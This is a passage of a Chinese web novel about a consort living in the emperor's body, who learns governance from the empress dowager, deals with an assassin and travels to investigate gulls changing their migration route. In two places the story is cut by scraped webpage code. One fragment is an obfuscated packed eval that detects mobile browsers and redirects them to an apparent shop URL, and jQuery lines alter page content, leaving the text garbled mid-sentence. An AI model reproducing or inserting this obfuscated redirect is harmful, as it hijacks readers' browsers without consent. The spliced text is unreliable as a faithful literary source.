太后看出了她的不解,与她解释:“为君者,当广开言路,虚心纳谏,且疑人不用,用人不疑。” ……好像很有道理的样子。 照这么说,那她就真的白做了这么多天的皇帝了,不仅没有搞垮萧家的江山社稷,她还朝着圣明君王的大道在狂奔了。 这样下去是不行的。 “你不明白如何做个皇帝,这也没关系,你早晚能学会的,我最高兴的是,”太后攥紧了她的手:“你还是一个好孩子,虽然你很笨,但也还是一个善良的好孩子。” 姜言低下了头。 所以太后之前到底是把萧旭想得有多差?不是,萧旭这个皇帝到底做得有多差?居然让太后对他的要求都低到了只要还是个好人就行。 他做得都那么差了,让姜言都自愧不如了,宁国江山竟然还能这么稳固,现在又有太后临朝称制,她再想随意祸乱天下,几乎就是没有可能的事情了。 况且,虽然她一直在想着要乱天下,但是,每次批阅奏折的时候,真到了让她决定要不要下令杀害忠良摧残百姓的时候,她也总是下不去手。 上不能够祸乱天下,下不足以统御百官,姜言略一回想,就觉得自己实在是太没用了,什么都不行。 姜言对着太后认真地点了点头:“朕明白了。” 还是听太后的话安心混日子做个好孩子吧。 可太后没想让她混日子。 姜言被太后盯着学习了一上午政务,中午陪着太后吃了饭,下午又被太后盯着学习了一下午政务。 姜言的心情就是很难受,被人追着学习和自己主动学习完全不一样,自己主动学习的时候姜言只觉得时间不够用,被太后追着学习的时候她只恨时间过得太慢。 晚上太后总算是没有继续盯着她学习了,太后把她赶进了长乐宫,让她多陪陪“姜言”。 姜言心情复杂地看着萧旭,心说现在的“姜言”已经不是姜言了。 她已经有了叛国之意,萧旭却还在想着逢迎她以邀宠。 确实是在邀宠,萧旭自己可能都还没有认清自己的行为,但姜言幽居长乐宫多年,很清楚后妃邀宠是什么样子。 萧旭还顶着她的脸,他顶着她的脸来逢迎她,姜言不止没有被逢迎到,还觉得在长乐宫呆着实在是很难捱,还不如继续跟着太后学习政务。 如此这般过了数日,姜言恍然发觉她在一整天里最放松最爽快的时候,竟然是在上朝的时候。 曾经她闻鸡起舞悬梁刺股不敢有一刻松懈,就是为了在朝堂上不至于太不像是个皇帝,如今有太后教导她,她在金銮殿里只需要说出自己的真实想法,太后总能给她圆回来,下朝以后也只需要在白天学习,晚间可以随日落而息。 她拥有了比从前宽裕得多的休息时间,却觉得活得比从前还要累。 一日,她又像往常一样跟着太后下朝,却忽然被人叫住了。 “陛下,臣找来了酸梅汤龙须糖云片糕梅菜扣肉饼,”云问风背着一个有半个姜言那么高的包裹从宫墙上跳了下来,在一众宫人的惊讶中走到她身前取下了身后的包裹:“还有熏制了一整年的火腿。” 包裹里的东西泛着竹子香,这是一块很大的火腿,但是这种可以长期保存的东西,在皇宫里并不算罕见,太后看着他拿着这么一块俗物跳下宫墙,脸色十分勉强地笑了笑:“云将军辛苦了。” 云问风愣头愣脑地看了她一会儿,向姜言问道:“这位是?” “是太后,朕的母后。” 太后其实是非常好看的,姜言今年不过二十,太后今年也不过三十来岁,一身锦衣华服衬得她端方清丽,凌驾于万人之上养出的气势也让她在人群中仿佛鹤立鸡群,和云问风想象中的太后差别很大,他看见姜言跟着太后走,看起来很听这个女人的话的样子,还以为她有可能同样是穿越者。 云问风只能在这不到片刻就结束的妄想里沉默,太后觉得他十分失礼,不愿再多说话,姜言就说了话:“之前京城里来了一个江湖人,杀了许多无辜百姓,刑部那边要查这个案子可能有些难度,他们的武力也许会有不足,你也去帮帮忙吧。” 是行侠仗义的好事,云问风就应了下来,又从宫墙上走了,太后看了姜言一眼,姜言就老老实实继续跟着太后走。 至于被江湖人杀死的皇后,皇后崩,他们这些皇族高官服丧是以日易月,姜言早已除服,皇后的死没有对他们造成半点影响,在姜言心里翻起的浪花还不如琉璃大。 她和皇后不熟,对于一个曾经把自己当成挡箭牌的陌生人,就算她过得再惨,姜言的同情心也是有限的。 萧旭倒是有些反应,但是也只在那一天稍微安静了一小会儿,很快就又来找她了。 姜言深深地叹了口气。 之前,和皇后说话的时候,她是觉得有些新鲜的。 皇后是和她不熟的人,她眼里有她不懂的世界,而萧旭是她已经了解的人,太后是和她同样出身的人,今日云问风来找她,她才想明白,她这是觉得烦闷了啊。 之前她自己去寻找治国的道理,总是能找到许多除了有用的知识以外的东西,让她觉得很有趣味,上朝时面对朝臣的诘问针砭,她手心里发着汗说出自己斟酌许久的答案以后,只要稍稍想一想自己的答案会怎样推动这个世界,她心里就兴奋得快要炸开了。 如今太后来了,这些新鲜就再也没有了,上朝时真正和朝臣交流的是太后,下朝后批阅奏折给出正确答案的也是太后,这个世界也曾围绕着姜言旋转,现在却都是听凭太后吩咐。 姜言摇了摇头,太后的决定都是正确的,她如果想要从太后手中夺权,不就跟萧旭一样了吗?她不要变成自己最讨厌的那种人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459116|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “皇帝,你在想些什么?”太后走在前面,她的声音飘到了姜言耳边。 “朕想出宫看看。” 她现在是男人了,天大地大,有什么事情做不得?又何必只去关注皇权? “出宫?”太后回头看她,见她眼神悠远,仿佛透过自己看向了远方,就知道姜言的心已经飞到宫外了。 姜言停下脚步,站住思考了片刻,点了点头:“等到云将军查完这桩案子,他若愿意随朕出宫,朕在宫里住了这么多年,也想偶尔出宫看看。” “也好,可不能在外面呆得太久,只放松游览几日便好。” 几日也足够了,她从小到大,可以说是几乎没有出过门,小时候被养在后宅,长大了被养在深宫,要是直接就让她在外面住上个一年半载,她是没法生活的。 “对了,你有许久没去看过淑妃了,今晚去看看她吧。” 姜言顿了一下:“是,母后。” 她有些明白太后的用意了。 萧旭想要孤臣,想要提拔寒门士子,太后想要提拔世家贵族,姜言一开始是完全不懂这些的,这几日在太后的教育里才慢慢懂了,如今在后宫中,萧旭所寄宿的她的身体代表的是世家一系,姜梨宫与萧旭最为亲近,还帮他扳倒了姜家,代表的是寒门一系。 她身为皇帝,寒门,世家,各种各样的势力,若是能达成制衡是最好,萧旭在朝时过分拔高了寒门士子的地位,让世家无法与寒门抗衡,如今太后临朝,太后想要拔高世家贵族的地位,但并不是想要拔高到与萧旭在朝时的寒门同等的地位,而是想要制衡双方,所以太后大概是制衡制上头了,连她晚上去哪睡觉都要制衡了。 这么做对姜言的好处,大概就是明早她就能见到一群对她肝脑涂地的寒士们,他们会觉得可能是皇帝还在念旧情。 虽然这群寒士本来就对她很忠心,但是忠心这种东西是不嫌多的。 就是应付姜梨宫有点麻烦。 她不像萧旭,萧旭已经知道了姜言和他换了身体,姜言可以很直接地和他说话,但是对姜梨宫,她必须要有一个斟酌的过程,她是她的幼妹,她太了解了她了,姜言不想被她发觉自己的真实身份,但姜言直到走进地牢里那一刻才明白,她一点也不了解自己的幼妹。 一旦身份暴露,她是算不过姜梨宫的,所以她绝对不能被姜梨宫发现自己的真实身份。 她只能尽量冷淡地对待姜梨宫,少说话,少做事,能交给魏公公说的话做的事都交给魏公公,姜梨宫往她这边走她就往后退,然后她就被姜梨宫逼到了墙角,她还没说什么,姜梨宫就这么看着看着就哭了。 她就这么把她逼到墙角,然后自己蹲下哭了,这实在是太不讲道理了。 姜言眨了眨自己充满困惑的大眼睛,抬头四下张望了一圈,低头问:“你在哭给谁看呢?” 她的话音刚落,梁上的江湖人就跳了下来。 27. 第 27 章 江湖人来自江湖,听闻皇帝荒淫无道,耽误国家,特来皇宫行刺。 皇上毕竟是皇上,杀皇上大逆不道,所以江湖人先想到是杀掉让皇帝荒淫无道的妖妃。 江湖人毕竟是来自江湖,他全然不知宫中是哪位妖妃在祸害皇上,可江湖人自有江湖人的门道,他找到了退隐江湖的前朝国师,前朝国师提了要求,江湖人答应了,国师就给他指了一条明路,让他一路直往中宫杀去,皇帝刚愎自用,荒淫无道,必然只会让自己心尖上的女人住在中宫。 江湖人认为言之有理,进了皇宫就直冲皇后宫中,皇后毕竟是个病人,江湖人没有折磨她,一剑给了她一个痛快,国师炼制的化血散非常好用,皇后在反应过来以前就化成了飞灰,这么轻松就解决掉了一个国家的祸害,江湖人觉得这简直简单得不真实。 他把皇后的衣冠血水葬在了皇宫的后花园里,洗干净手以后一抬头,就看见了姜梨宫。 他这才知道什么叫世间绝色,有这样的女人在身边,皇帝居然还会倾心于那位相貌平平的皇后,难怪当今的皇帝行事如此古怪,他谁丑谁美都分辨不清。 姜梨宫发觉他身上有血,还问他是不是受了伤,美人低头时连头发丝都透着温柔,江湖人的心都酥了,他干脆就在皇帝的后宫里住了下来,想着他要时刻监察皇帝的举动,绝不是为了多看看美人。 也许是想得多了,他就真的认真监察起了皇帝的举动,他看着皇帝勤勤恳恳地向太后学习政务,看着皇帝面无表情地为皇后服丧,看着皇帝态度冷淡地对待自己的贵妃,看着皇帝对姜梨宫说出“你在哭给谁看呢”,这样的皇帝,是他从未想过的。 皇帝似乎并没有民间传闻的那样荒淫无道,他喜欢提拔平民出身的寒士,会很认真地听母亲的话,而在面对后妃的时候,皇帝好像才是弱势的那一方,连去哪个后妃那里歇息都要听太后吩咐。 究竟是哪里出了问题?为什么这样的一个老老实实的皇帝,会被谣传成荒淫无道的昏君? “你为何——” 没等他问出问题,一杆银枪就架到了他的脖子上,姜言和姜梨宫两脸呆懵地看着从宫墙边跳进来的云问风,云问风接了个控制技能,回头解释:“我去刑部问了案子的情况,刑部尚书说现在还是陛下身边比较危险,我就回来了。” 刑部尚书也是萧旭一手提拔上来的寒士,感怀于萧旭的知遇之恩,自然会让云问风先回宫来保护皇帝,姜言先前倒是忘了这一点。 姜言看了一眼已经不省人事的刺客,和云问风说:“火腿要蘸酱吗?” “应该可以吧,你尝尝不就知道了?” “那我们现在尝尝吧。” 姜言看着云问风,云问风点了点头,看着姜言,两人沉默了一会儿,云问风很快沉默不下去了:“那你把火腿拿出来吃啊。” 姜言眨了眨眼睛,笑了一下:“它还在你背上。” “噢。” 云问风把背上的火腿和一堆杂七杂八的点心取了下来,魏公公在桌上垫了案板,云问风取了菜刀,在生活技能里找出了解牛刀法,三下五除二就把火腿切好了,由魏公公带来的侍膳太监尝过后,姜言就取了银筷坐下来吃云问风切好的火腿,云问风也不和她客气,也提了筷子站在她身边吃芸豆糕,完全没把这里当后宫。 只有姜梨宫在一旁忐忑不安。 她不明白皇上怎么突然成了这副样子,丝毫不解风情也就罢了,她刚认识皇上的时候对方也是没有给过她好脸色看的,可也不至于像现在这样,躲着她后退,甚至和外朝的将军一起占了她的宫殿来吃一块平平无奇普普通通的火腿,皇上是把她这里当什么地方了? 她攥紧了手帕,气得隔着手帕都差点把自己手心里挖出个血痕来。 “梨宫,你也过来尝尝。” 话说出口,姜言才想起姜梨宫已经不是自己应该好好对待的梨宫了。 可她只要见到了她,还是很难不好好对待她。 梨宫是她的幼妹,她是看着梨宫出生的,在梨宫出生的那一天,父亲就告诉她,她是与她一荣俱荣,一损俱损的亲妹妹,她会和她学习一样的东西,一同走上相似的道路,这世上再也不会有人比她更了解她,更亲近她,所以,姜言作为姐姐,一定要好好对待妹妹。 她自小就对妹妹很好,好到已经成了习惯,什么让人开心的东西都要分享给她,什么难过的事请都要帮她拦住,她的话本子往往是她还没看完就给了梨宫,梨宫不喜欢读圣贤书,祖母每每问及她的学业,姜言也总是以各种各样的理由帮她搪塞过去。 梨宫会变成现在这个样子,姜言既觉得难过,又觉得也是自己做错了事,如果从前让她多接触一些增长才识的书籍,少让她沉迷玩乐,是不是她就不会像现在这样?她所犯下的过错,归根结底,还是因为缺了教养,如果她知道家族对于女人而言意味着什么,如果她知道女人的顶点,太后的权利与地位是有多么尊贵,如果她见过圣贤书上那些比话本故事更绝妙的名儒哲思,亦或是,更可笑的傲慢偏见,看待萧旭的眼光是否也会截然不同? 可是,姜梨宫已经杀了人,她还和萧旭合谋差点灭了姜家满门,她真的已经不是姜言的梨宫幼妹了。 看话本的女人有许多,不爱读书的女人也有许多,田家的四姑娘她曾经见过,也是爱看话本不爱读书的小姑娘,去年因为路见不平拔刀相助受了皇家的封赏,小姑娘下手很轻,这拔刀相助也没有把那贼人砍到见血,她再纵着梨宫,也不是姜梨宫杀人的理由。 等梨宫到了她身边,姜言就不再理会她了,肚子里也没了胃口,她索性放下了银筷,抬头看云问风:“你最近是去了哪些地方?” 云问风想了想,也放下碗筷低头看她:“不知道,轻功飞到哪里是哪里。” 听起来倒是很自在,姜言接着问:“那你晚上住宿怎么解决?” “找一棵好看的树,睡在枝头上。” “洗漱怎么解决呢?” 云问风精神一振:“我找到了一个特别大的 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“是这样的,你知道的,”姜言指了指自己:“朕从前是个荒淫无道的皇帝,有很多人想要刺杀朕,也有很多人想要刺杀朕的爱妃,这段时间朕对皇后最好了,所以他们就来刺杀皇后了,刺杀完了皇后发现朕还是很没用,就会来继续刺杀朕,总之,很显然,就是他了。” “你确定?”云问风对她这番话很是怀疑:“办案要有证据。” 姜言很确定:“总不会随便哪一个江湖人都能把朕的侍卫们视若无物吧?” 要是随便来一个江湖人都能动皇帝,朝廷的权威就无法延伸到民间,政令就再也不会有人遵守,她这个皇帝也就没有存在的必要了。 “那我先把他送到刑部。” “好,晚上再见。” 云问风看着姜言闪闪发亮的眼睛,心说这家伙好像真的挺期待出门的,至于这样吗? 姜梨宫则是早就紧张了起来,恰巧姜言说完了话,回头就看见了姜梨宫可怜兮兮的小表情,姜言顺手就用银筷夹了一筷子火腿塞她嘴里,想了想又觉得不妥,但是反正已经塞了,她又多给姜梨宫喂了几片火腿,在心里暗暗诅咒胖不死她。 在她想起云问风还在一边看着,而她现在是个男人的时候,云问风已经吃饱了狗粮,带着刺客到了刑部。 刑部尚书见云问风这么快就带着刺客赶过来了,就算他一直对武将不太看得起,此刻也不由得对云问风连连称赞,觉得他和外边那些话粗人莽的武将完全不一样,是个谨慎细致的好忠良。 忠良在现代虽然没有贬义,但也不是啥夸人的词,云问风听了以后心里毫无波澜,表现出来也是毫无波澜,偏偏此时刑部尚书有滤镜在身,觉得云问风真是不骄不躁不矜不伐不卑不亢,云问风听着感觉他再吹下去就要到“实乃当世之某某某”了,赶紧打断了刑部尚书的话:“我们尽快把案子结了,今晚皇上还有事情要同我商议。” 今晚? 刑部尚书夸不下去了。 皇上晚上让臣下进宫意味着什么? 秉烛夜谈,同塌而眠,这是心腹重臣才有的待遇。 刑部尚书酸了。 28. 第 28 章 不止刑部尚书酸了,从刑部尚书那里听说这件事的人都酸了。 萧旭喜欢任用寒士,这其实是每一个帝王都有的喜好,因为寒士就意味着孤臣纯臣。 因出身而孤,也因出身而纯。 他们在满朝文武中只能站在皇帝那一边,只有皇帝是与他们利益相近的,也只有皇帝会关心在意他们,他们不能结党,不能与世家同谋,不能与宦官相交,只为能够与皇帝之间的距离更进一步。 有哪一个上位者会不喜欢只听自己的指令的下属?有哪一个上位者能克服自己全权掌握所有事情的控制欲?有哪一个皇帝会对孤臣纯臣不心动? 刑部尚书之前觉得他超受皇上偏爱的。 满朝公卿,最少被问责的就是他,最常被提到的也是他,朝堂上被分配任务最重的还是他。 他每次都很利落很出色地完成了任务,站在朝上的位置也离皇上越来越近,眼看就要从孤臣走到心腹的位置了,刑部尚书的心情本来是稳定的,只要继续踏踏实实去干,他离那个位置已经不远了。 结果年纪刚刚二十出头的云问风突然告诉他,他已经是皇上的心腹重臣了。 知道你们武将升官快,但是你这,无论官阶还是帝心都抓得这么严实,这就离谱。 这个消息传着传着就传到左相耳中了。 左相可谓是如今朝堂中最为炙手可热的寒士,皇上先前龙体不适时奏折都是交给左相批阅,那真的是红得发紫的大红人,可就算是这样,皇上也没有与他秉烛夜谈过。 太后第二天上早朝的时候就感觉金銮殿里弥漫着一股醋味,她左看右看,看着大家都在攀比一些奇怪的东西,手里的笏板上似乎还都刻着同一个名字。 “皇上与辅国大将军近日要去走访民间,由朕暂代朝上事务,众卿可有异议?” 朝上的群臣们都是一副神情恹恹的模样,魏公公走上前轻声说了些什么,太后点点头,彻底明白了醋味的来源,也就放心地继续与众臣商议国事。 姜言已经飞到了江州,云问风的轻功十分不错,不到半日就带她横跨了大半个宁国,姜言对武功这种东西不太了解,也就不觉得云问风能日行千里这件事有多不正常,她刚下了地就跟着人流四处去走,街上的人不知道他们是从多远的地方来到这里,只以为是普通的江湖人在普通地飞檐走壁,也没有觉得他们有多奇怪。 姜言在宫中看过一些地理方面的书籍,知道一些江州的风土人情,江州人大多以码头活计为生,在这里,南来北往的人极多,江州人对待外乡人就跟对待本地人差不多,都很热情,同时由于外乡人太多,外乡人们在这里犯下的事情也不少,所以他们对外乡人也很警惕,这里是江湖人最多的地方,来这里倒是很贴近她最近在看的案子。 人群汇集的位置有一条大江,一条连通了真个宁国的大江,名为长江,蜀山的位置已经是处在内陆深处了,江水依然湍急,当地人自小在江边长大,只觉得寻常,不像姜言这样看江水都看得新鲜,当地人会聚集到这里,是因为江上飞来了鸥鸟。 这是内陆地区,居然会有海上的鸥鸟飞来,姜言好奇地问了一句,旁边就有热心人走上来和她讲:“这叫迁徙,鸥鸟每年都会从海边飞到内地过冬,今年它们居然来江州了。” 云问风看见有很多人都在给鸥鸟投食,摸了摸自己的荷包,摸出了一枚金叶子,就想和人换点馒头,来尝试一下给鸥鸟投食的感觉,但是别人看见他手里的金叶子都不愿意跟他换,嫌他给得太多了,太反常了。 还是一个老太太看他模样俊朗,觉得这后生长相还算可爱,好心给他指了指:“面食铺子就在那边,自己去买吧。” 云问风就抛下了姜言自己去买馒头,姜言见他这么随随便便地就被支开了,一时不知道该说什么,站在她身边围观鸥鸟的一个小孩扯了扯她的衣角,像是想要解下她的玉佩,更让姜言觉得犯难,她就没见过这样随便动陌生人东西的小孩子,她想教育小孩几句,让他不要这么无礼,又觉得他们往后反正不会再见面,没有必然理会,可不教育他,小孩就在她脑子里长大了,长成了一个到处偷别人东西的大人,让姜言深感自己没有尽到应尽的责任。 皇帝要王化四方,教养天下万民,怎么能因为孩子太小就放弃教育?孩子太小就更应该抓紧教育才对。 姜言蹲下身,按住了小朋友的肩膀,决定今天就要在这里好好教一教他什么叫仁义礼智信。 云问风回来的时候就看到姜言在欺负小朋友,旁边还有一对情侣在发狗粮,其他人是都不在了,鸥鸟也都不在了。 “鸥鸟去哪了?” 姜言还在欺负小朋友,一旁情侣中的男人给他解释道:“没人喂它们了,鸥鸟就飞走了。” 云问风噢了一声,表示自己听懂了,向他们道了谢,姜言总算没再欺负小朋友了,她抬起了头,站起了身,向孩子的父母问了一句:“江州附近的州府里有传出什么大事吗?” 男人摇了摇头:“没听说有什么大事。” 云问风就想得比较直接:“你们吃馒头吗?” 虽然他不明白刚才还在看海鸥这会儿他们怎么就聊起了其它州府,但这并不影响他跟他的半个同类搭话。 姜言看着他手里的馒头,终于想起了一件事:“对哦,我还没吃午饭。” 她最后还是没有吃云问风买的馒头,孩子的父母请她这个孩子在路上认的老师吃了顿谢师宴,云问风沾了她的光,也混了一顿免费的午餐。 餐后孩子的父母终于打算说出他们的意图了,姜言挺直了背,在心里暗暗告诫自己不能因为自己的才华随便骄傲,等下一定要直言拒绝他们让她担任西席的请求,她连拒绝的话要说几百字怎么押韵都想好了,夫妇二人先是问了他们的姓名,姜言报了朱言为名,子桑为字,云问风编不出 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可她再不服气也没有用,事情已经是这个样子了,姜言眨完眼睛就只能保持微笑,云问风拒绝了很久才让他们放弃,他们扭头看到姜言这副样子当场就是一句:“你的脸怎么了?怎么这个表情?” 连老师都不叫了,好过分。 姜言抿了抿嘴唇:“没事。” 没事个鬼,有大事。 夫妇二人带着小孩离开以后,姜言就阴恻恻地盯着云问风看,云问风被她盯得摸不着头脑,他懒得瞎猜,直接问姜言:“你怎么了?” “呵呵。” “干嘛?” “你该叫朕陛下。”姜言撅着嘴,一脸气愤。 云问风对称呼很无所谓:“陛下怎么了?” “你就仗着你比我好看……” 话说到一半,姜言发现了不对,她现在用的身体是萧旭的,云问风不是比她好看,是比萧旭好看。 “继续说啊。”云问风还是没明白她在生什么气,还催着她继续说。 姜言刚平复了一些心情,被他一激,干脆继续说了下去:“明明是我先认识他们的,是我教导了他们的孩子,我付出了辛苦,结果就因为你长得好看,他们都更在意你。” “只是因为这些?” 姜言嘶了一声:“你是不是想挨杖责?能不能好好说话?” “不能,付出没有回报是很正常的事,看人看脸也是很正常的事,陛下连这点事都不明白?反应居然这么大。” 姜言瞪着他说:“什么正不正常的,付出就应该有回报,看人就应该看才华,你说的情况哪里能用一个正常来形容!” 云问风用酒杯轻轻敲着桌案:“人心就是这样,喜欢对眼缘的,喜欢好看的,喜欢不动脑子做事,要是人人都是圣贤,什么事都三思而后行,所有事都能做对做好,还要道德律法干什么?” 29. 第 29 章 云问风说完,又来笑着搂住她的肩膀。 第二次了…… 这……也太……太……太刺激了…… 看云问风的语气好像这样的动作很正常的样子,原来男人和男人之间通常都是这么勾勾搭搭拉拉扯扯的吗…… “嗯?”云问风摇了摇她的肩膀:“陛下怎么不说话?” 姜言很不想说话:“……你太失礼了。” “噢,”云问风在边关也常常跟将士们勾肩搭背,听她这么说也没把手收回去:“我把陛下当一辈子的好朋友,陛下居然说我失礼。” 可恶,她姜言居然也被云问风这张脸蛊惑住了,才说了不能以脸看人,结果转眼她就因为云问风的脸不好意思对他说重话,还觉得这么拉拉扯扯她的人有点可怜。 “陛下?又不说话了?真被我气到了?” 云问风低头看她,姜言躲闪不及,被他看到了自己害羞脸红的模样,云问风瞳孔地震,猛地站起来往后退了一大步,慌乱地质问道:“你不会是在脸红吧?” 见他比自己还慌,姜言的心情稳定了下来,她闲闲地喝了一口茶,才慢悠悠地回答道:“就算我真的是断袖,我又不能把你怎么样。” 虽然云问风是很好看,但是要让她像那些有断袖之癖的人一样抱着喜欢的男人睡觉的话,她肯定是做不出来的,毕竟她用的还是萧旭的身体,所有关于身体和床的事,只要和萧旭的身体搭上边,都会让她觉得恶心。 而且她还不至于只是因为觉得对方好看就会想要拉别人上床。 云问风没有领会到她心里的想法,他用自己的思维去解读了姜言这句话的意思。 就算这个半个同类是断袖,他也打不过他,不能对他做什么,而且他说的是“就算”,也可能他害羞只是因为没人跟他勾肩搭背过,封建礼教里的公子嘛,肯定是这样,对,没错,绝对不是因为他是断袖。 他要是真的是断袖,云问风连砍掉自己碰过他的手的心都有了。 “不过话说回来,”姜言支颌思考了一会儿,决定用八卦打破他们之间尴尬的氛围:“朝中是有一位有断袖之癖的贵公子。” “噢……” “他叫吴思。” “噢……嗯?” 吴思是断袖? 这比皇帝是断袖还要恐怖,他现在甚至觉得就算皇帝是断袖他也能接受了,毕竟他跟皇帝还不算太熟,顶多也就是他跟他勾肩搭背过的关系,而且皇帝还会很不好意思地脸红,就算是断袖显然也是比较被动的,只要他不主动应该就不会有事。 但是吴思是断袖的话,事情就变得很复杂了。 吴思是他第一次上战场时遇到的军师。 是吴思把当时还是一个新兵的他提拔到了百夫长的位置。 吴思就是那个会帮他出谋划策,和他一起谈谈他们心里的害怕的人。 吴思还曾经邀请他同寝,他嫌弃战场上的人都不怎么洗澡,觉得他的被窝太臭就拒绝了。 直到现在,逢年过节的时候吴思还会给他送礼物,还有信,每到大的节日他都会收到一封长信,云问风以为古代的文人都喜欢这么表达自己的友情,还去找吴思学了几天古文想给他也写几封长信。 吴思前两天还在跟他抱怨说自己父亲不许自己来见他,非要让吴思尽快娶妻。 “你确定?” “这事大家都知道啊,断袖之癖也不是什么说不得的事情嘛,就是像他那样影响到自己传宗接代的人很少见。” 好男色和好女色都是好色,好色这种事没什么稀奇的,人牙子手里随时都有好看的男孩子可供购买,但是家里的主母必须是女人,家里一定要有一位母亲,家中的母亲和因为喜爱去追求或购买到的人是不同的,上一代的主母不会接受一个男性接班人。 不过,主母,唉,当初如若不是家族中需要一个女孩进宫,姜言也早就束发戴冠做坤道去了,断不会把自己的后半生葬在深宫后院里。 云问风看着姜言磕着瓜子说话,希望她能突然蹦出来一句“我开玩笑的,吴思其实没有断袖之癖,哈哈哈”。 “也不知道是谁这么让他喜欢,我都被感动了,再这么下去怕是要‘孔雀东南飞’,要不我给他赐一道圣旨成全他算了,就是——” “不!” “——就是我怕左相不答应。” 吴思是左相家的小公子,左相出身寒门,同时也是姜言的一位族叔的门生,虽然那位族叔差不多是桃李满天下,走到哪教到哪,但是左相在朝上的表现也确实是自己人没错,一直在为她说话,姜言是很感谢左相的。 姜言嫌弃地皱了皱眉:“你吼那么大声干什么?” 云问风不想说话,他现在对姜言之前的奇怪反应已经没什么印象了,直接抬手把她提了起来,试图打断这个八卦话题:“我们去看看鸥鸟。” 云问风的轻功好得诡异,姜言刚抓住了那一袋馒头就被他提出了这个房间,带到了天上。 “刚吃完午饭朕想睡个午觉。” “太有规律的生活是没有激情的。” 姜言看着鸥鸟叹了口气:“太有激情母后会教训我的。” 云问风语重心长:“人要有自己的主见,不要太听母亲的话。” “那叫不孝。” 云问风试着带入封建古人的思想去劝她:“千百年以后,别人都说你在位时只知道听别人的话,没有自己的主见,那多糟糕啊?” “母后不是别人。” “不是,母亲怎么就不是别人了?” 姜言的封建礼教思想坚不可摧:“母后是长者,是前辈,是后代的第一位老师,是所有人都应该亲近爱戴的人,无论如何朕都不应当忤逆母后,不孝乃是天下第一大罪过。” “……” 云问风觉得有些夸张了,他自己咽下了嘴边的话,封建时代,对于贵族来说,似乎确实是有这样的道理。 江上鸥鸟飞来,人群里爆发出了一阵兴奋的尖叫,云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他现在是天龙人了。 云问风刚刚意识到他现在是天龙人了。 云问风震惊了。 “无论你想不想做统治者,”姜言抱着胳膊看他:“都得学着好好做个统治者了。” 太好了,姜言在心里默默庆祝。 不是只有她一个人突然变成统治者了,有人不得不陪她一起面对这个恐怖的挑战了。 现下就有一个挑战突然出现在了她眼前,就这样,两个人一起面对吧。 姜言手里洒出的馒头屑被一群鸥鸟吃了个干净。 她看着天空:“它们很亲人,显然是从前被人投喂惯了,往年鸥鸟不来江州,今年却来了,多半是去年迁徙到内地的时候没人投喂,饿狠了才换了地方。” 云问风听懂了:“你的意思是,从这些鸥鸟迁徙地点的变化,可以看出它们之前迁徙的地方的人出了问题。” “没错,”姜言把装馒头的麻布袋子给他递了过去:“鸥鸟过得好,那里的人也就过的好,世间万物的命运总是相通的。” 30. 第 30 章 虽然姜言发觉了鸥鸟改变迁徙路线这件事的不对劲,嘴上还说着世间万物的命运都是相通的,她还是先慢悠悠地喂完了鸥鸟,才开始查这群鸥鸟之前的迁徙路线,查了一下午刚有了眉目,她还要先在客栈睡一觉才去。 “你不觉得你这样的行为不太符合皇上的身份吗?你身为皇上,发现自己的子民可能在受苦受难,不是应该第一时间赶过去吗?”云问风着急地推开了门。 姜言扶着门把手,想把门关上:“云将军,朕已经很久没有睡过一个好觉了,子民再苦也不至于像朕这样,他们要是连个好觉都不让朕睡,朕也不想再关心他们了。” 她这段时间脑子里基本上都是孔孟之道和史书先例,随时都要保持全神贯注的状态,连自己想点自己的事情的时间都没有,她连思想都丧失自由了,做白日梦都没空做,这天下绝对不会有比她过得更苦的人了。 云问风拉着门,继续劝她:“姜家要回朝了,你现在不多做点好事,过段时间你在朝上恐怕会寸步难行,萧旭那个狗皇帝不当人,你最好赶紧去做点当人的事情证明你自己。” 姜言默默放开了门把手,认命地动起了干净得一点废料都没有的脑子。 她好想抽空做一做白日梦啊,就不能多给她一点畅想姜家多厉害多猛要怎么夺走宁国的时间吗?不给她就算了,现实里姜家人回来以后还要骂她,她真的好苦,这日子太苦了。 这群鸥鸟原本应该去的地方叫作月乡,在江州的南边,月乡的气候比江州要炎热得多,稻谷熟得也要快得多,周围江河湖海都有,水和水果都很多,当地人生活富裕,鸥鸟来时,总会有许多当地人去月乡的春江上投喂鸥鸟。 而去年秋季,月乡恰好换了一个新县令。 姜言感觉自己差不多能猜到发生了什么,云问风也这么认为,两人慌慌张张地赶到月乡以后,却发现事情并不是他们想象的那么回事。 他们以为当地人被新县令压榨得没有余粮投喂鸥鸟了,过去一看,新县令只是不许当地人投喂鸥鸟,并没有提高当地税赋。 姜言和云问风问了一圈当地人都没问出来县令为什么不让他们投喂鸥鸟,最后姜言只能亮明了自己的皇帝身份,亲自问县令为什么要这样做。 县令为了解答她的疑惑,把县内的官吏也都叫来了,也不知他究竟是为了方便给姜言答疑还是为了给自己壮胆,直到月乡县尉到场,县令才缓缓开口:“臣少时入疫城,听疫城里的郎中说,时疫多来自野物,有感于时疫之恐怖,臣不敢再让百姓与野物同游。” “可百姓都不知道你的想法,朕在春江边上游览时,发觉他们都对你怨气颇大。” “愚民自是不知,臣自无愧于心。” 姜言摇了摇头:“这可不行。” 月乡县令没有应答,显然是不怎么把姜言的评价当回事,姜言也不和他继续说鸥鸟的事,转而讲起了他的出身:“你是去年中的举人,朕喜欢任用寒士,这一点你应该是知道的,举人能直接做县令的很少,由于你出身低微,朕才破格提拔你。” 姜言说到这里,县令就在她身前跪了下去:“多谢陛下抬爱。” 她不是很能适应这种场面,到嘴边的话差点说不出口,回忆了好几遍他先前说的“愚民”二字,才把话挤了出来:“朕任用寒士,就是因为寒士往往比贵族更了解百姓,离百姓的距离更近,更能以心换心,可你却只把百姓看作愚民,既如此,朕还不如点几名世家子弟来做这个县令,求功利者,本朝是不缺的。” 